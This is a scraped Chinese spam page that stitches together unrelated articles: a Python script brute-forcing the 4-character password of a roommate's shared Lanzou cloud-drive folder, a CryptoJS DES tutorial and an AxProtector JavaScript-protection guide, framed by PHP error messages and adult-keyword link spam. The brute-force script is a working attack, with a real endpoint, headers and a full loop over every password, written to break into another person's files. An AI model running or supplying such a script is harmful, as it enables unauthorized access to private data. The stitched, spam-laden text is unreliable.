Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 亚洲网站免费看,精品哟哟哟国产在线不卡,亚洲国产成人久久综合电影

          整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          室友網盤收藏了挺多好東西,利用Python編寫窮舉法猜密碼

          開鏈接, F12,網絡,一頓headers,Python代碼如下:

          私信小編01即可獲取大量Python學習資源

          #lanzou 藍奏云盤密碼窮舉import requests
          import time #延遲一個時間段,避免被網頁拒絕
          import random #隨機數,制造隨機時間
          start=40000
          s=requests.session()
          wangzhi= "https://yxsp.lanzous.com/filemoreajax.php"
          zimu=[chr(i) for i in range(ord("a"), ord("z") + 1)]
          shuzi=[str(i) for i in range(0,10)]
          shuzi.extend(zimu) #將字母列表加到數字列表末尾
          mimabiao=shuzi
          print(mimabiao)
          mima=[]
          for yi in mimabiao:
              for er in mimabiao:
                  for san in mimabiao:
                      for si in mimabiao:
                          #time.sleep(random.random()*500) #每次隨機停頓一個時間
                          mima_temp=yi+er+san+si
                          mima.append(mima_temp)
          if(len(mima)==36*36*36*36):
              print("密碼字典生成正常,開始窮舉嘗試")
          else:
              print("密碼字典生成有誤,請仔細檢查。")
              print("正常大小應該是%d,現在大小是%d"%(36*36*36*36, len(mima)) )
          xiaoxitou={"Accept":"application/json, text/javascript, */*","Accept-Encoding":"gzip, deflate, br","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Connection":"keep-alive","Content-Length":"106","Content-Type":"application/x-www-form-urlencoded","Cookie":"codelen=1; pc_ad1=1","Host":"yxsp.lanzous.com","Origin":"https://yxsp.lanzous.com","Referer":"https://yxsp.lanzous.com/b01ztsove","User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3202.9 Safari/537.36","X-Requested-With":"XMLHttpRequest"}
           
          for i in range(start,1679616+1):  #36x36x36x36=1679616。密碼是4位,每位是0-9和a-z
              shuju = "lx=2&fid=2836724&uid=1808316&pg=1&rep=0&t=1610610122&k=eb147f635d120d10b7a16d4ff58ac803&up=1&ls=1&pwd=" + mima[i]
              res = s.post(url=wangzhi, headers=xiaoxitou, data=shuju)
              jieguo = eval(res.text)
              tag = jieguo['zt']
              print(mima[i],jieguo['info'],',當前進度:',i,1679616,i/1679616*100,r"%")
              time.sleep(random.random())
              if tag==1:
                  print('正確密碼是:',mima[i])
                  break
           
          if(tag!=1):
              print('密碼未找到')


          python跑很長時候會莫名其妙報錯,終止程序。
          記下上次跑到最后一個的結果,改第5行的start值接著執行。
          我跑了前40000個,都不是。總密碼數量是1679616個,祝好運。

          現代的互聯網時代,數據安全性備受關注。為了保護敏感數據的機密性,對稱加密算法是一種常用的方法。在JavaScript中,DES(Data Encryption Standard)是一種常用的對稱加密算法。本篇博客將為您展示如何在JavaScript中使用DES算法進行加密和解密,并提供一個實際的例子。

          首先,我們需要使用CryptoJS庫來實現JavaScript中的DES加密算法。請確保您已經引入了CryptoJS庫。以下是一個使用DES算法對字符串進行加密和解密的實際示例:

          // 引入CryptoJS庫
          const CryptoJS = require("crypto-js");
          
          // 定義密鑰和待加密的字符串
          const key = CryptoJS.enc.Utf8.parse("mySecretKey"); // 密鑰需要進行字節數轉換
          const plaintext = "Hello, World!";
          
          // 使用DES算法進行加密
          const encrypted = CryptoJS.DES.encrypt(plaintext, key, {
            mode: CryptoJS.mode.ECB, // 使用ECB模式
            padding: CryptoJS.pad.Pkcs7, // 使用Pkcs7填充
          }).toString();
          
          console.log("加密后的密文:", encrypted);
          
          // 解密密文
          const decrypted = CryptoJS.DES.decrypt(encrypted, key, {
            mode: CryptoJS.mode.ECB,
            padding: CryptoJS.pad.Pkcs7,
          }).toString(CryptoJS.enc.Utf8);
          
          console.log("解密后的明文:", decrypted);

          在上述代碼中,我們首先引入了CryptoJS庫,并定義了密鑰和待加密的字符串。接下來,我們使用?CryptoJS.DES.encrypt??方法加密字符串,通過指定加密模式和填充方式,我們可以確保加密的安全性。最后,我們使用??CryptoJS.DES.decrypt??方法對密文進行解密,并將解密后的明文輸出。

          請注意,在實際應用中,您需要根據需求設置更強的密鑰,以增強加密的安全性。密鑰的選擇是保護您的數據安全的關鍵。

          總結: 在JavaScript中使用DES對稱加密算法可以有效地保護敏感數據的安全性。通過使用CryptoJS庫,您可以輕松地使用DES算法對字符串進行加密和解密。本文提供了一個實際的例子,演示了如何在JavaScript中使用DES算法對字符串進行加密和解密。您可以根據您的實際需求,靈活應用DES算法來保護您的數據安全。

          JavaScript 的腳本程序現已支持加密。

          關鍵詞:JavaScriptelectronNode.jsJS加密代碼保護

          準備工作

          1. 建議JavaScript的加密操作都在上Windows進行。

          2. 請先安裝CodeMeter SDK開發包(可通過光盤及下載鏈接安裝)。

          3. 插上加密鎖(測試鎖或正式母鎖)。

          4. 測試時,需要獲取以下加密js程序的測試授權(對應【公司碼: 產品碼 】):

          6000099: 1723】:AxProtector JavaScript (Trial)

          6000099: 1720】:AxProtector JavaScript - CodeMoving (Trial)

          如需購買正式授權,請訪問威步官網。

          5. 必要的JavaScript環境。

          如何加密JavaScript程序

          如果是首次進行JavaScript加密,需要進行如下操作

          以Win10為例,

          1. 打開【開始】菜單,在【Windows系統】文件夾下找到【命令提示符】,右擊選擇【以管理員身份運行】:

          2. 執行命令:

          cd /d C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript

          3. 執行命令

          npm install

          執行成功后

          C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript

          目錄下會新增node_modules文件夾。

          說明:

          如果執行失敗,請確認是否是以管理員身份運行的命令行。

          如果此電腦上已經執行過上述操作,則可以進入以下步驟:

          1. 新建protect.yaml配置文件。

          首先創建空白的txt文件(文本文檔),將文件名改為protect.yaml(格式為yaml格式,不是txt格式),之后輸入以下內容:

          Options: {}
          Licenses:
          
          - Name: Default
          Type: CodeMeter
          #此處填入公司碼(示例公司碼為6000010)
          FirmCode: 6000010
          #此處填入產品碼(示例公司碼為13)
          ProductCode: 13
          
          FilesToEncrypt:
          #此處填入需要加密的js文件的名稱(示例為index.js)
          #若為electron框架,不可加密main.js
          Input: index.js
          #此處為保存加密后文件的文件夾名稱,無需更改
          OutputFolder: prot
          
          LicenseLists:
          - Id: 0
          Licenses:
          - Default

          需要將創建好的protect.yaml文件置于被加密文件的同級目錄中。

          2. 打開【開始】菜單,在【Windows系統】文件夾下找到【命令提示符】,右擊選擇【以管理員身份運行

          3. 執行命令:

          cd /d D:\codeproject\js\nodejs-getting-started-master\nodejs-getting-started-master

          此處替換為需要加密的項目的路徑

          4. 執行命令:

          node “C:\Program Files (x86)\WIBU-SYSTEMS\AxProtector\Devkit\bin\javascript\Axprotector.js” protect.yaml

          5. 將加密后的文件替換成原始文件:


          主站蜘蛛池模板: 乱精品一区字幕二区| 日本一区二区三区在线观看| 中文字幕在线精品视频入口一区| 日韩人妻无码一区二区三区久久 | 波多野结衣的AV一区二区三区| 99精品国产高清一区二区麻豆 | 国产婷婷色一区二区三区深爱网| 久久婷婷久久一区二区三区| 一区二区三区在线| 国内精自品线一区91| 亚洲国产成人久久综合一区| 美女一区二区三区| 人妻少妇一区二区三区| 日本强伦姧人妻一区二区| 成人精品一区二区三区电影 | 乱中年女人伦av一区二区| 国模视频一区二区| 精品国产一区二区三区www| 国产乱码精品一区二区三区香蕉| 国产乱码精品一区二区三区中| 国产爆乳无码一区二区麻豆| 日本一区二区在线| 久久无码人妻一区二区三区午夜| 亚洲电影一区二区三区| 麻豆一区二区三区精品视频| 日韩av无码一区二区三区| 亚洲一区中文字幕| 无码精品不卡一区二区三区 | 国产在线精品一区二区在线观看| 在线观看国产区亚洲一区成人| 国产内射在线激情一区| 国产AV一区二区三区无码野战| 久久免费区一区二区三波多野| 久久精品无码一区二区无码| 91大神在线精品视频一区| 免费一本色道久久一区| 亚洲国产专区一区| 免费播放一区二区三区| 欧美av色香蕉一区二区蜜桃小说| 在线精品日韩一区二区三区| 国产精品一区二区三区免费|